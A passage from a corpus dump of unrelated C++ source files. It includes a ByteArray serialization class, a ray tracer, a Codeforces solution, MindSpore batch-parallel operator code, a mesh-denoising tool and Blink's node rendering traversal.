void ByteArray::write_string_f16(const std::string &val) {
write_fint16(val.size());
write(val.c_str(), val.size());
}
// length: int32, data
void ByteArray::write_string_f32(const std::string &val) {
write_fint32(val.size());
write(val.c_str(), val.size());
}
// length: int64, data
void ByteArray::write_string_f64(const std::string &val) {
write_fint64(val.size());
write(val.c_str(), val.size());
}
// length: varint, data
void ByteArray::write_string_vint(const std::string &val) {
write_uint64(val.size());
write(val.c_str(), val.size());
}
// data
void ByteArray::write_string_withoutlen(const std::string &val) {
write(val.c_str(), val.size());
}
// read
int8_t ByteArray::read_fint8() {
int8_t val;
read(&val, sizeof(val));
return val;
}
uint8_t ByteArray::read_fuint8() {
uint8_t val;
read(&val, sizeof(val));
return val;
}
#define XX(type) \
type val; \
read(&val, sizeof(val)); \
if (m_endian == COOL_BYTE_ORDER) { \
return val; \
} else { \
return byteswap(val); \
}
int16_t ByteArray::read_fint16() { XX(int16_t); }
uint16_t ByteArray::read_fuint16() { XX(uint16_t); }
int32_t ByteArray::read_fint32() { XX(int32_t); }
uint32_t ByteArray::read_fuint32() { XX(uint32_t); }
int64_t ByteArray::read_fint64() { XX(int64_t); }
uint64_t ByteArray::read_fuint64() { XX(uint64_t); }
#undef XX
int32_t ByteArray::read_int32() { return DecodeZigzap32(read_uint32()); }
uint32_t ByteArray::read_uint32() {
uint32_t res = 0;
for (int i = 0; i < 32; i += 7) {
uint8_t b = read_fuint8();
if (b < 0x80) {
res |= ((uint32_t)b) << i;
break;
} else {
res |= (((uint32_t)b & 0x7f) << i);
}
}
return res;
}
int64_t ByteArray::read_int64() { return DecodeZigzap64(read_uint64()); }
uint64_t ByteArray::read_uint64() {
uint64_t res = 0;
for (int i = 0; i < 64; i += 7) {
uint8_t b = read_fuint8();
if (b < 0x80) {
res |= ((uint64_t)b) << i;
break;
} else {
res |= (((uint64_t)b & 0x7f) << i);
}
}
return res;
}
float ByteArray::read_float() {
uint32_t temp = read_fuint32();
float res;
memcpy(&res, &temp, sizeof(temp));
return res;
}
double ByteArray::read_double() {
uint64_t temp = read_fuint64();
double res;
memcpy(&res, &temp, sizeof(temp));
return res;
}
// length: int16, data
std::string ByteArray::read_string_f16() {
uint16_t len = read_fuint16();
std::string buf;
buf.resize(len);
read(&buf[0], len);
return buf;
}
// length: int32, data
std::string ByteArray::read_string_f32() {
uint32_t len = read_fuint32();
std::string buf;
buf.resize(len);
read(&buf[0], len);
return buf;
}
// length: int64, data
std::string ByteArray::read_string_f64() {
uint64_t len = read_fuint64();
std::string buf;
buf.resize(len);
read(&buf[0], len);
return buf;
}
// data
std::string ByteArray::read_string_vint() {
uint64_t len = read_fuint64();
std::string buf;
buf.resize(len);
read(&buf[0], len);
return buf;
}
// inner func
void ByteArray::clear() {
m_pos = m_size = 0;
m_capacity = m_base_size;
Node *temp = m_root->next;
while (temp) {
m_cur = temp;
temp = temp->next;
delete m_cur;
}
m_cur = m_root;
m_root->next = nullptr;
}
void ByteArray::write(const void *buf, size_t size) {
if (size == 0) {
return;
}
addCapacity(size);
size_t npos = m_pos % m_base_size;
size_t ncap = m_cur->size - npos;
size_t bpos = 0;
while (size > 0) {
if (ncap >= size) {
memcpy(m_cur->ptr + npos, (const char *)buf + bpos, size);
if (m_cur->size == (npos + size)) {
m_cur = m_cur->next;
}
m_pos += size;
bpos += size;
size = 0;
} else {
memcpy(m_cur->ptr + npos, (const char *)buf + bpos, ncap);
m_pos += ncap;
bpos += ncap;
size -= ncap;
m_cur = m_cur->next;
ncap = m_cur->size;
npos = 0;
}
}
if (m_pos > m_size) {
m_size = m_pos;
}
}
void ByteArray::read(void *buf, size_t size) {
if (size > getReadSize()) {
throw std::out_of_range("not enough len");
}
size_t npos = m_pos % m_base_size;
size_t ncap = m_cur->size - npos;
size_t bpos = 0;
while (size > 0) {
if (ncap >= size) {
memcpy((char *)buf + bpos, m_cur->ptr + npos, size);
if (m_cur->size == npos + size) {
m_cur = m_cur->next;
}
m_pos += size;
bpos += size;
size = 0;
} else {
memcpy((char *)buf + bpos, m_cur->ptr + npos, ncap);
m_pos += ncap;
bpos += ncap;
size -= ncap;
m_cur = m_cur->next;
ncap = m_cur->size;
npos = 0;
}
}
}
void ByteArray::read(void *buf, size_t size, size_t pos) const {
if (size > getReadSize()) {
throw std::out_of_range("not enough len");
}
size_t npos = pos % m_base_size;
size_t ncap = m_cur->size - npos;
size_t bpos = 0;
Node *cur = m_cur;
while (size > 0) {
if (ncap >= size) {
memcpy((char *)buf + bpos, cur->ptr + npos, size);
if (cur->size == npos + size) {
cur = cur->next;
}
pos += size;
bpos += size;
size = 0;
} else {
memcpy((char *)buf + bpos, cur->ptr + npos, ncap);
pos += ncap;
bpos += ncap;
size -= ncap;
cur = cur->next;
ncap = cur->size;
npos = 0;
}
}
}
void ByteArray::position(size_t val) {
if (val > m_capacity) {
throw std::out_of_range("set pos out of range");
}
m_pos = val;
if (m_pos > m_size) {
m_size = m_pos;
}
m_cur = m_root;
while (val > m_cur->size) {
val -= m_cur->size;
m_cur = m_cur->next;
}
if (val == m_cur->size) {
m_cur = m_cur->next;
}
}
bool ByteArray::writeToFile(const std::string &name) const {
std::ofstream ofs;
ofs.open(name, std::ios::trunc | std::ios::binary);
if (!ofs) {
LOG_ERROR(g_logger) << "write to file, name is " << name << " error";
return false;
}
int64_t read_size = getReadSize();
int64_t pos = m_pos;
Node *cur = m_cur;
while (read_size > 0) {
int diff = pos % m_base_size;
int64_t len =
(read_size > (int64_t)m_base_size ? m_base_size : read_size) - diff;
ofs.write(cur->ptr + diff, len);
cur = cur->next;
pos += len;
read_size -= len;
}
return true;
}
bool ByteArray::readFromFile(const std::string &name) {
std::ifstream ifs;
ifs.open(name, std::ios::binary);
if (!ifs) {
LOG_ERROR(g_logger) << "read from file, name is " << name << " error";
return false;
}
std::shared_ptr<char> buf(new char[m_base_size],
[](char *ptr) { delete[] ptr; });
while (!ifs.eof()) {
ifs.read(buf.get(), m_base_size);
write(buf.get(), ifs.gcount());
}
return true;
}
void ByteArray::addCapacity(size_t size) {
if (size == 0) {
return;
}
size_t old_cap = getCapacity();
if (old_cap >= size) {
LOG_FMT_DEBUG(g_logger, "old_cap(%u) >= size(%u)", old_cap, size);
return;
}
size = size - old_cap;
size_t count =
(size / m_base_size) + ((size % m_base_size > old_cap) ? 1 : 0);
// size_t count = ceil(1.0 * size / m_base_size);
Node *temp = m_root;
while (temp->next) {
temp = temp->next;
}
Node *first = nullptr;
for (size_t i = 0; i < count; ++i) {
temp->next = new Node(m_base_size);
if (first == nullptr) {
first = temp->next;
}
temp = temp->next;
m_capacity += m_base_size;
}
if (old_cap == 0) {
m_cur = first;
}
}
std::string ByteArray::to_string() const {
std::string str;
str.resize(getReadSize());
if (str.empty()) {
return str;
}
read(&str[0], str.size(), m_pos);
return str;
}
std::string ByteArray::to_hex_string() const {
std::string str = to_string();
std::stringstream ss;
for (size_t i = 0; i < str.size(); ++i) {
if (i > 0 && i % 32 == 0) {
ss << std::endl;
}
ss << std::setw(2) << std::setfill('0') << std::hex << (int)(uint8_t)str[i]
<< " ";
}
return ss.str();
}
uint64_t ByteArray::getReadBuffers(std::vector<iovec> &buffers,
uint64_t len) const {
len = len > getReadSize() ? getReadSize() : len;
if (len == 0) {
return 0;
}
uint64_t size = len;
size_t npos = m_pos % m_base_size;
size_t ncap = m_cur->size - npos;
struct iovec iov;
Node *cur = m_cur;
while (len > 0) {
if (ncap >= len) {
iov.iov_base = cur->ptr + npos;
iov.iov_len = len;
len = 0;
} else {
iov.iov_base = cur->ptr + npos;
iov.iov_len = ncap;
len -= ncap;
cur = cur->next;
ncap = cur->size;
npos = 0;
}
buffers.push_back(iov);
}
return size;
}
uint64_t ByteArray::getReadBuffers(std::vector<iovec> &buffers, uint64_t len,
uint64_t pos) const {
len = len > getReadSize() ? getReadSize() : len;
if (len == 0) {
return 0;
}
uint64_t size = len;
size_t npos = pos % m_base_size;
size_t count = pos / m_base_size;
Node *cur = m_root;
while (count > 0) {
cur = cur->next;
--count;
}
size_t ncap = cur->size - npos;
struct iovec iov;
while (len > 0) {
if (ncap >= len) {
iov.iov_base = cur->ptr + npos;
iov.iov_len = len;
len = 0;
} else {
iov.iov_base = cur->ptr + npos;
iov.iov_len = ncap;
len -= ncap;
cur = cur->next;
ncap = cur->size;
npos = 0;
}
buffers.push_back(iov);
}
return size;
}
uint64_t ByteArray::getWriteBuffers(std::vector<iovec> &buffers, uint64_t len) {
if (len == 0) {
return 0;
}
addCapacity(len);
uint64_t size = len;
size_t npos = m_pos % m_base_size;
size_t ncap = m_cur->size - npos;
struct iovec iov;
Node *cur = m_cur;
while (len > 0) {
if (ncap >= len) {
iov.iov_base = cur->ptr + npos;
iov.iov_len = len;
len = 0;
} else {
iov.iov_base = cur->ptr + npos;
iov.iov_len = ncap;
len -= ncap;
cur = cur->next;
ncap = cur->size;
npos = 0;
}
buffers.push_back(iov);
}
return size;
}
} // namespace cool
| 13,625 | 5,867 |
// ===========================================================================
// This is an open source non-commercial project.
// Dear PVS-Studio, please check it.
// PVS-Studio Static Code Analyzer for C, C++, C#, and Java:
// http://www.viva64.com
// ===========================================================================
// Copyright 2007 Gennaro Prota
//
// Licensed under the 3-Clause BSD License.
// (See accompanying file 3_CLAUSE_BSD_LICENSE.txt or
// <https://opensource.org/licenses/BSD-3-Clause>.)
// ___________________________________________________________________________
#include "breath/porting/dependent_code.hpp"
#include BREATH_DEPENDENT_CODE( system, directory_separators.cpp )
// Local Variables:
// mode: c++
// indent-tabs-mode: nil
// c-basic-offset: 4
// End:
// vim: set ft=cpp et sts=4 sw=4:
| 966 | 271 |
#include "../header/world.h"
#include "../header/WorldProgram/sphereProgram.h"
#include "../header/WorldProgram/triangleProgram.h"
#include "../header/Shape/shape.h"
#include "../header/Math/intersection.h"
World::World(const glm::vec3& color) {
backgroundColor = color;
}
World::~World() {
for (const ShapeProgram* prog : programs) {
delete prog;
}
}
void World::addProgram(const std::string& filename) {
// Position of dot in name.light
size_t lightExt = filename.length() - 6;
assert(lightExt > 0);
// File is .light
if (filename.substr(lightExt).compare(".light") == 0) {
lightPrograms.push_back(LightProgram(filename));
return;
}
// Position of dot in name.sphere
size_t sphereExt = filename.length() - 7;
assert(sphereExt > 0);
// File is .sphere
if (filename.substr(sphereExt).compare(".sphere") == 0) {
programs.push_back(new SphereProgram(filename));
return;
}
// Position of dot in name.triangle
size_t triangleExt = filename.length() - 9;
assert(triangleExt > 0);
// File is .triangle
if (filename.substr(triangleExt).compare(".triangle") == 0) {
programs.push_back(new TriangleProgram(filename));
return;
}
}
void World::loadCurrent(const glm::mat4& cameraMatrix, const float time) {
// Load Shapes
for (int i = 0; i < programs.size(); i++) {
Shape* shape = programs[i]->getShape(time);
shape->transformToCameraSpace(cameraMatrix);
currentShapes.push_back(shape);
}
// Load Lights
for (int i = 0; i < lightPrograms.size(); i++) {
Light light = lightPrograms[i].getLight(time);
light.transformToCameraSpace(cameraMatrix);
currentLights.push_back(light);
}
}
void World::deleteCurrent() {
for (int i = 0; i < programs.size(); i++) {
delete currentShapes[i];
}
currentShapes.clear();
currentLights.clear();
}
glm::vec3 World::trace(const Ray& ray, const float time, const int depth, const bool inside) const {
// Determine what Shape is intersected by ray first
Intersection closestIntersection = NULL_INTERSECTION;
const Shape* intersectedShape = currentShapes[0];
glm::vec3 origin = glm::vec3(0, 0, 0);
Intersection currentIntersection;
for (int i = 0; i < currentShapes.size(); i++) {
currentIntersection = currentShapes[i]->collision(ray);
// No intersection occured with this Shape
if (currentIntersection.isNull()) { continue; }
// If this intersection is closer than the previous closest, update
else if (closestIntersection.isNull() || currentIntersection.omega < closestIntersection.omega) {
closestIntersection = currentIntersection;
intersectedShape = currentShapes[i];
}
}
// No intersection occurred at all
if (closestIntersection.isNull()) { return backgroundColor; }
// Intersection occurred, test for shadow
else {
Intersection closestShadowIntersection = NULL_INTERSECTION;
const Shape* shadowIntersectionShape = currentShapes[0];
bool shadow = true;
glm::vec3 pixelColor = glm::vec3(0, 0, 0);
// Test if any light can reach intersection point
for (int i = 0; i < currentLights.size(); i++) {
glm::vec3 srd = glm::normalize(currentLights[i].position - closestIntersection.point);
glm::vec3 sro = closestIntersection.point + (0.01f * srd);
for (int k = 0; k < currentShapes.size(); k++) {
currentIntersection = currentShapes[k]->collision(Ray{ sro, srd });
// No intersection occured with this Shape
if (currentIntersection.isNull()) { continue; }
// If this intersection is closer than the previous closest, update
else if (closestShadowIntersection.isNull() || currentIntersection.omega < closestShadowIntersection.omega) {
closestShadowIntersection = currentIntersection;
shadowIntersectionShape = currentShapes[k];
}
}
float lightOmega = (currentLights[i].position - closestIntersection.point).length();
// If no shadow ray Intersection, illuminate normally
if (closestShadowIntersection.isNull() || closestShadowIntersection.omega > lightOmega) {
shadow = false;
break;
}
}
// If every light is blocked, return illumination with shadow
pixelColor += intersectedShape->illuminate(closestIntersection, currentLights, shadow);
if (depth < MAX_DEPTH) {
float kReflect = intersectedShape->illumination->kReflect;
float kRefract = intersectedShape->illumination->kRefract;
float refIndex = intersectedShape->illumination->refIndex;
glm::vec3 reflectDir = glm::reflect(ray.direction, closestIntersection.normal);
if (kReflect > 0) {
pixelColor += kReflect * trace(Ray{closestIntersection.point + (reflectDir * 0.001f), reflectDir}, time, depth + 1, inside);
}
if (kRefract > 0) {
float ni, nt;
glm::vec3 refNorm = glm::vec3(closestIntersection.normal);
if (inside) {
ni = refIndex;
nt = 1.0f;
refNorm = -refNorm;
} else {
ni = 1.0f;
nt = refIndex;
}
float test = 1 - ((pow(ni, 2) * (1 - pow(glm::dot(ray.direction, refNorm), 2))) / pow(nt, 2));
glm::vec3 refractDir = glm::refract(ray.direction, refNorm, ni / nt);
if (test < 0) {
refractDir = glm::vec3(reflectDir);
}
pixelColor += kRefract * trace(Ray{ closestIntersection.point + (refractDir * 0.001f), refractDir }, time, depth + 1, !inside);
}
}
return pixelColor;
}
} | 5,263 | 1,950 |
// https://codeforces.com/contest/1253/problem/E
#include <bits/stdc++.h>
using namespace std;
using ii = tuple<int, int>;
using vi = vector<int>;
using vii = vector<ii>;
int main() {
int n, m, x, s, l, r;
cin >> n >> m;
vii a(n);
for (int i = 0; i < n; i++) {
cin >> x >> s;
a[i] = { x - s, x + s };
}
vi dp(m + 1);
for (int i = 0; i <= m; i++) dp[i] = i;
for (int i = 1; i <= m; i++) {
for (int j = 0; j < n; j++) {
tie(l, r) = a[j];
if (l <= i && i <= r) dp[i] = dp[i - 1];
else if (r < i) {
int c = i - r;
dp[i] = min(dp[i], dp[max(0, l - c - 1)] + c);
}
}
}
cout << dp[m] << '\n';
}
| 666 | 330 |
../../../recipe-07/cxx-example/src/main.cpp | 43 | 19 |
/**
* Copyright 2019 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "parallel/ops_info/batch_parallel_info.h"
#include <memory>
#include <utility>
#include <vector>
#include "ir/value.h"
#include "parallel/device_manager.h"
#include "parallel/device_matrix.h"
#include "parallel/step_parallel.h"
namespace mindspore {
namespace parallel {
Status BatchParallelInfo::CheckStrategy(const StrategyPtr& strategy) {
if (CheckStrategyValue(strategy, inputs_shape_, is_auto_parallel_) != SUCCESS) {
if (is_auto_parallel_) {
MS_LOG(DEBUG) << name_ << " : Invalid strategy.";
} else {
MS_LOG(ERROR) << name_ << " : Invalid strategy.";
}
return FAILED;
}
int32_t stage = strategy->GetInputStage();
CheckGlobalDeviceManager();
int32_t dev_num = SizeToInt(g_device_manager->GetDeviceListByStageId(stage).size());
dev_num_ = dev_num;
size_t strategy_size = strategy->GetInputNumber();
std::vector<Dimensions> stra = strategy->GetInputDim();
for (size_t i = 0; i < strategy_size; ++i) {
Shape sub_strategy = stra.at(i);
size_t strategy_len = sub_strategy.size();
bool flag = false;
for (size_t j = 0; j < strategy_len; ++j) {
int32_t strategy_value = sub_strategy.at(j);
if (strategy_value > 1) {
if (flag || strategy_value != dev_num_) {
if (is_auto_parallel_) {
MS_LOG(DEBUG) << name_ << " : It is not a valid data parallel strategy.";
} else {
MS_LOG(ERROR) << name_ << " : It is not a valid data parallel strategy.";
}
return FAILED;
}
flag = true;
}
}
}
return SUCCESS;
}
Status BatchParallelInfo::InferDevMatrixShape() {
dev_matrix_shape_.push_back(dev_num_);
return SUCCESS;
}
Status BatchParallelInfo::InferMirrorOps() {
mirror_ops_.clear();
if (g_device_manager->DeviceNum() == 1) {
MS_LOG(INFO) << name_ << " : The device num is 1, no need to create mirror ops.";
return SUCCESS;
}
MS_LOG(INFO) << name_ << " : Batch parallel input number " << strategy_->GetInputNumber();
for (size_t i = 0; i < input_value_.size(); i++) {
MS_EXCEPTION_IF_NULL(g_device_manager);
OperatorVector op_vec = CreateMirrorOps(g_device_manager->world_group(), g_device_manager->DeviceNum());
mirror_ops_.push_back(op_vec);
}
return SUCCESS;
}
Status BatchParallelInfo::InferForwardCommunication() { return SUCCESS; }
Status BatchParallelInfo::InferTensorMap() {
if (strategy_->GetInputDim()[0][0] != dev_num_) {
MS_LOG(ERROR) << name_ << " : It is not a valid data parallel strategy.";
return FAILED;
}
for (size_t i = 0; i < inputs_shape_.size(); i++) {
std::vector<int32_t> tensor_map_index;
for (size_t j = 0; j < inputs_shape_[i].size(); ++j) {
if (strategy_->GetInputDim()[i][j] == dev_num_ && j == 0) {
tensor_map_index.push_back(0);
} else {
tensor_map_index.push_back(MAP_NONE);
}
}
inputs_tensor_map_.push_back(tensor_map_index);
}
for (size_t i = 0; i < outputs_shape_.size(); i++) {
std::vector<int32_t> tensor_map_index;
for (size_t j = 0; j < outputs_shape_[i].size(); ++j) {
if (i == 0 && j == 0) {
tensor_map_index.push_back(0);
} else {
tensor_map_index.push_back(MAP_NONE);
}
}
outputs_tensor_map_.push_back(tensor_map_index);
}
return SUCCESS;
}
Strategys BatchParallelInfo::GetOutputsStrategy() {
Strategys outputs_strategy;
for (size_t i = 0; i < outputs_shape_.size(); ++i) {
std::vector<int32_t> strategy;
for (size_t j = 0; j < outputs_shape_[i].size(); ++j) {
if (i == 0 && j == 0) {
strategy.push_back(dev_num_);
} else {
strategy.push_back(1);
}
}
outputs_strategy.push_back(strategy);
}
return outputs_strategy;
}
Status BatchParallelInfo::InferTensorInfo() {
for (size_t i = 0; i < strategy_->GetInputNumber(); i++) {
MS_LOG(INFO) << name_ << " : The input size is " << strategy_->GetInputNumber();
TensorLayout tensor_layout_in;
if (tensor_layout_in.InitFromVector(dev_matrix_shape_, inputs_tensor_map_.at(i), inputs_shape_.at(i)) != SUCCESS) {
return FAILED;
}
TensorInfo tensor_info_in(tensor_layout_in);
inputs_tensor_info_.push_back(tensor_info_in);
}
for (size_t i = 0; i < outputs_shape_.size(); i++) {
TensorLayout tensor_layout_out;
if (tensor_layout_out.InitFromVector(dev_matrix_shape_, outputs_tensor_map_.at(i), outputs_shape_.at(i)) !=
SUCCESS) {
return FAILED;
}
TensorInfo tensor_info_out(tensor_layout_out);
outputs_tensor_info_.push_back(tensor_info_out);
}
return SUCCESS;
}
Status BatchParallelInfo::GetAttrs() { return SUCCESS; }
Status BatchParallelInfo::Init(const StrategyPtr& strategy) {
if (InitWithAutoRepeatCalc(strategy) != SUCCESS) {
MS_LOG(ERROR) << name_ << " : Init failed.";
return FAILED;
}
MS_LOG(INFO) << name_ << " : Init success.";
return SUCCESS;
}
Status BatchParallelInfo::InitForCostModel(const StrategyPtr& strategy) {
if (InitForCostModelWithAutoRepeatCalc(strategy) != SUCCESS) {
if (is_auto_parallel_) {
MS_LOG(DEBUG) << name_ << " : Init for cost model failed.";
} else {
MS_LOG(ERROR) << name_ << " : Init for cost model failed.";
}
return FAILED;
}
MS_LOG(INFO) << name_ << " : Init for cost model success.";
return SUCCESS;
}
Status BatchParallelInfo::SetCostUnderStrategy(const StrategyPtr& strategy) {
if (SetCostUnderStrategyBase(strategy) != SUCCESS) {
if (is_auto_parallel_) {
MS_LOG(DEBUG) << name_ << " : Set cost under strategy failed.";
} else {
MS_LOG(ERROR) << name_ << " : Set cost under strategy failed.";
}
return FAILED;
}
return SUCCESS;
}
Status BatchParallelInfo::GenerateStrategies(int32_t stage_id) {
CheckGlobalDeviceManager();
is_auto_parallel_ = true;
size_t total_dev_num = g_device_manager->GetDeviceListByStageId(stage_id).size();
StrategyPtr sp;
std::vector<Dimensions> strategy;
for (size_t i = 0; i < inputs_shape_.size(); i++) {
Shape temp(inputs_shape_[i].size(), 1);
if (split_flag_list_[i]) {
temp[0] = SizeToInt(total_dev_num);
}
strategy.push_back(temp);
}
sp = std::make_shared<Strategy>(stage_id, strategy);
if (SetCostUnderStrategy(sp) == SUCCESS) {
MS_LOG(INFO) << name_ << " : Successfully generated batch-parallel-strategy.";
PrintStrategy(sp);
} else {
MS_LOG(ERROR) << name_ << " : Generating batch-parallel-strategy failed.";
return FAILED;
}
return SUCCESS;
}
void SparseSoftmaxCrossEntropyWithLogitsInfo::ReComputeBatchSplitFlagList() {
for (size_t i = 0; i < inputs_shape_.size(); i++) {
split_flag_list_[i] = true;
}
}
Status BatchParallelInfo::InferAsLossDivisor() {
as_loss_divisor_ = 1;
return SUCCESS;
}
} // namespace parallel
} // namespace mindspore
| 7,461 | 2,647 |
#include "DenoiseSystem.h"
#include "../Components/DenoiseData.h"
#include <_deps/imgui/imgui.h>
#include <spdlog/spdlog.h>
#include <cmath>
#include <algorithm>
using namespace Ubpa;
void DenoiseSystem::OnUpdate(Ubpa::UECS::Schedule& schedule) {
schedule.RegisterCommand([](Ubpa::UECS::World* w) {
auto data = w->entityMngr.GetSingleton<DenoiseData>();
if (!data)
return;
if (ImGui::Begin("Denoise")) {
if (ImGui::Button("Mesh to HEMesh")) {
data->heMesh->Clear();
[&]() {
if (!data->mesh) {
spdlog::warn("mesh is nullptr");
return;
}
if (data->mesh->GetSubMeshes().size() != 1) {
spdlog::warn("number of submeshes isn't 1");
return;
}
data->copy = *data->mesh;
std::vector<size_t> indices(data->mesh->GetIndices().begin(), data->mesh->GetIndices().end());
data->heMesh->Init(indices, 3);
const auto& normals = data->mesh->GetNormals();
assert(normals.size() == data->heMesh->Vertices().size());
if (!data->heMesh->IsTriMesh())
spdlog::warn("HEMesh init fail");
for (size_t i = 0; i < data->mesh->GetPositions().size(); i++) {
data->heMesh->Vertices().at(i)->position = data->mesh->GetPositions().at(i);
data->heMesh->Vertices().at(i)->normal = normals[i];
}
spdlog::info("Mesh to HEMesh success");
}();
}
if (ImGui::Button("Process")) {
[&]() {
if (!data->heMesh->IsTriMesh()) {
spdlog::warn("HEMesh isn't triangle mesh");
return;
}
for (int k = 0; k < data->iter_time; ++k) {
for (auto* v : data->heMesh->Vertices())
v->old_position = v->position; // backup old postion
for (auto* v : data->heMesh->Vertices()) {
if (v->IsOnBoundary()) continue; // fix the boundary points
const auto P = v->old_position;
valf3 Hn = { 0.f };
float A = 0.f;
const auto& adj_a = v->AdjPolygons();
for (auto* poly : adj_a) {
A += poly->Area();
}
spdlog::info(std::to_string(A));
assert(A > 0.f);
const auto& adj_v = v->AdjVertices();
for (size_t i = 0; i < adj_v.size(); ++i) {
const auto p0 = (i != 0 ? adj_v[i - 1]->old_position : adj_v.back()->old_position);
const auto p1 = adj_v[i]->old_position;
const auto p2 = (i + 1 < adj_v.size() ? adj_v[i + 1]->old_position : adj_v[0]->old_position);
float cos_a = (p1 - p0).dot(P - p0);
float cos_b = (p1 - p2).dot(P - p2);
cos_a = std::min(cos_a, 0.9f);
cos_b = std::min(cos_b, 0.9f);
float cot_a = cos_a / sqrt(1 - cos_a * cos_a);
float cot_b = cos_b / sqrt(1 - cos_b * cos_b);
Hn -= (cot_a + cot_b) * (P - p1);
}
Hn /= (4 * A);
v->position = v->old_position + data->lambda * Hn;
v->normal = Hn.normalize();
}
}
spdlog::info("Process success");
}();
}
if (ImGui::Button("Set Normal to Color")) {
[&]() {
if (!data->mesh) {
spdlog::warn("mesh is nullptr");
return;
}
data->mesh->SetToEditable();
std::vector<rgbf> colors;
for (auto* v : data->heMesh->Vertices())
colors.push_back((v->normal.as<valf3>() + valf3{ 1.f }) / 2.f);
data->mesh->SetColors(std::move(colors));
spdlog::info("Set Normal to Color Success");
}();
}
if (ImGui::Button("HEMesh to Mesh")) {
[&]() {
if (!data->mesh) {
spdlog::warn("mesh is nullptr");
return;
}
if (!data->heMesh->IsTriMesh() || data->heMesh->IsEmpty()) {
spdlog::warn("HEMesh isn't triangle mesh or is empty");
return;
}
data->mesh->SetToEditable();
const size_t N = data->heMesh->Vertices().size();
const size_t M = data->heMesh->Polygons().size();
std::vector<Ubpa::pointf3> positions(N);
std::vector<uint32_t> indices(M * 3);
for (size_t i = 0; i < N; i++)
positions[i] = data->heMesh->Vertices().at(i)->position;
for (size_t i = 0; i < M; i++) {
auto tri = data->heMesh->Indices(data->heMesh->Polygons().at(i));
indices[3 * i + 0] = static_cast<uint32_t>(tri[0]);
indices[3 * i + 1] = static_cast<uint32_t>(tri[1]);
indices[3 * i + 2] = static_cast<uint32_t>(tri[2]);
}
data->mesh->SetPositions(std::move(positions));
data->mesh->SetIndices(std::move(indices));
data->mesh->SetSubMeshCount(1);
data->mesh->SetSubMesh(0, { 0, M * 3 });
data->mesh->GenNormals();
data->mesh->GenTangents();
spdlog::info("HEMesh to Mesh success");
}();
}
if (ImGui::Button("Recover Mesh")) {
[&]() {
if (!data->mesh) {
spdlog::warn("mesh is nullptr");
return;
}
if (data->copy.GetPositions().empty()) {
spdlog::warn("copied mesh is empty");
return;
}
*data->mesh = data->copy;
spdlog::info("recover success");
}();
}
}
ImGui::End();
});
}
| 4,944 | 2,535 |
/*
* Copyright (C) 2012 Google Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Neither the name of Google Inc. nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "core/dom/NodeRenderingTraversal.h"
#include "core/dom/shadow/ComposedTreeWalker.h"
#include "core/rendering/RenderObject.h"
namespace blink {
namespace NodeRenderingTraversal {
void ParentDetails::didTraverseInsertionPoint(const InsertionPoint* insertionPoint)
{
if (!m_insertionPoint) {
m_insertionPoint = insertionPoint;
}
}
ContainerNode* parent(const Node* node, ParentDetails* details)
{
ASSERT(node);
ASSERT(!node->document().childNeedsDistributionRecalc());
if (isActiveInsertionPoint(*node))
return 0;
ComposedTreeWalker walker(node, ComposedTreeWalker::CanStartFromShadowBoundary);
return toContainerNode(walker.traverseParent(walker.get(), details));
}
bool contains(const ContainerNode* container, const Node* node)
{
while (node) {
if (node == container)
return true;
node = NodeRenderingTraversal::parent(node);
}
return false;
}
Node* nextSibling(const Node* node)
{
ComposedTreeWalker walker(node);
walker.nextSibling();
return walker.get();
}
Node* previousSibling(const Node* node)
{
ComposedTreeWalker walker(node);
walker.previousSibling();
return walker.get();
}
static Node* lastChild(const Node* node)
{
ComposedTreeWalker walker(node);
walker.lastChild();
return walker.get();
}
static Node* firstChild(const Node* node)
{
ComposedTreeWalker walker(node);
walker.firstChild();
return walker.get();
}
Node* previous(const Node* node, const Node* stayWithin)
{
if (node == stayWithin)
return 0;
if (Node* previousNode = previousSibling(node)) {
while (Node* previousLastChild = lastChild(previousNode))
previousNode = previousLastChild;
return previousNode;
}
return parent(node);
}
Node* next(const Node* node, const Node* stayWithin)
{
if (Node* child = firstChild(node))
return child;
if (node == stayWithin)
return 0;
if (Node* nextNode = nextSibling(node))
return nextNode;
for (Node* parentNode = parent(node); parentNode; parentNode = parent(parentNode)) {
if (parentNode == stayWithin)
return 0;
if (Node* nextNode = nextSibling(parentNode))
return nextNode;
}
return 0;
}
RenderObject* nextSiblingRenderer(const Node* node)
{
for (Node* sibling = NodeRenderingTraversal::nextSibling(node); sibling; sibling = NodeRenderingTraversal::nextSibling(sibling)) {
if (RenderObject* renderer = sibling->renderer())
return renderer;
}
return 0;
}
RenderObject* previousSiblingRenderer(const Node* node)
{
for (Node* sibling = NodeRenderingTraversal::previousSibling(node); sibling; sibling = NodeRenderingTraversal::previousSibling(sibling)) {
if (RenderObject* renderer = sibling->renderer())
return renderer;
}
return 0;
}
Node* commonAncestor(Node& a, Node& b)
{
if (a == b)
return &a;
if (a.document() != b.document())
